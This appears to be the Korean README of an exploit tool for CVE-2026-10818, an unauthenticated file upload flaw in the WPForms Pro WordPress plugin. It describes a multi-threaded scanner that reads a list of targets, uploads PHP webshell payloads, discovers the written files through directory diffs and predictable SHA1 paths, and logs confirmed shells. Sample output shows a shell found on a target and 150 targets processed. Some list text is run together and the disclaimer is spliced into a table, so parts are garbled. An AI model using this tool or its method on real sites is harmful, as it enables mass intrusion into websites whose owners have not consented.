
WPForms Pro <= 1.10.1.1 - Chunked Upload Init/Finalize 순서를 통한 인증되지 않은 임의 파일 쓰기
WPForms Pro <= 1.10.1.1 - 청크 업로드 초기화/마무리 순서를 통한 인증 없는 임의 파일 쓰기
개념 증명 익스플로잇
청크 업로드 초기화/마무리 순서 → 예측 가능한 경로 노출 → 원격 코드 실행
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-10818 |
| 영향을 받는 플러그인 | WPForms Pro (WordPress) |
| 영향을 받는 버전 | 1.10.1.1 이하 모든 버전 |
| 유형 | 인증 없는 임의 파일 쓰기 |
| CWE | CWE-434: 위험한 유형의 파일 무제한 업로드 |
| CVSS 3.1 | 8.1 HIGH — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 필요 없음 |
WordPress용 WPForms Pro 플러그인은 ajax_chunk_upload_finalize 함수를 통해 1.10.1.1 이하의 모든 버전에서 임의 파일 업로드 취약점에 노출됩니다. 이는 파일 형식 검증이 청크 메타데이터와 파일 내용이 이미 디스크에 기록된 이후에 수행되고, 검증 실패 시 조립된 파일이 삭제되지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 실행 가능한 파일을 업로드할 수 있으며, 원격 코드 실행이 가능해집니다.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
이 취약점 체인은 청크 업로드 수명 주기의 치명적인 순서 결함을 악용합니다:
SHA1(UUID)-0.chunk)에 기록합니다wp_ajax_nopriv_*)를 위해 등록됩니다readme.txt 및 HTML 소스를 읽어 취약한 WPForms 버전 식별wpforms_upload_chunk_init가 외부에서 도달 가능한지 확인SHA1(UUID)를 통한 결정적 파일 경로SHA1(클라이언트 제어 UUID)를 계산하여 추측 없이 정확한 청크 URL 도출/wpforms/tmp/ 스냅샷을 찍어 새로 작성된 파일 식별<32hex>.<ext> 파일명 패턴 스캔.chunk/x.php, /.php)를 시도하여 비-PHP 확장자에서 PHP 실행 유도Python >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4는 선택 사항이지만 더 안정적인 양식 필드 추출을 위해 권장됩니다.
python CVE-2026-10818.py
다음 항목을 입력하라는 메시지가 표시됩니다:
| 프롬프트 | 설명 | 기본값 |
|---|---|---|
| 대상 파일 | 한 줄에 하나의 대상이 포함된 텍스트 파일 경로 | list.txt |
| 스레드 | 동시 작업자 수 (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
한 줄에 URL 하나. http://, https://, 베어 도메인, IP 및 하위 디렉터리 설치를 지원합니다.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
스캔 중 각 대상은 라벨이 지정된 단계를 거칩니다:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
모든 결과는 Nx_hit/에 저장됩니다:
| 파일 | 내용 |
|---|---|
Nx_shell.txt | 확인된 RCE — URL, 라벨 및 응답 본문 미리보기 |
Nx_vuln.txt | 실행 검증 없이 확인된 임의 파일 쓰기 |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| 기호 | 의미 |
|---|---|
● shell | 원격 대상에서 PHP 실행 확인 |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 이 소프트웨어 사용으로 인한 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 전적으로 책임이 있으며 모든 관련 법률 및 규정을 준수하는 데 동의합니다.
작성자: Nxploited
Khaled Alenazi
T.m @Kxploit
◐ vuln | 파일이 디스크에 기록됨, 실행은 확인되지 않음 |
○ skip | 대상에 접근 불가, 패치됨 또는 업로드 양식 없음 |
✗ miss | 업로드 시도 실패 |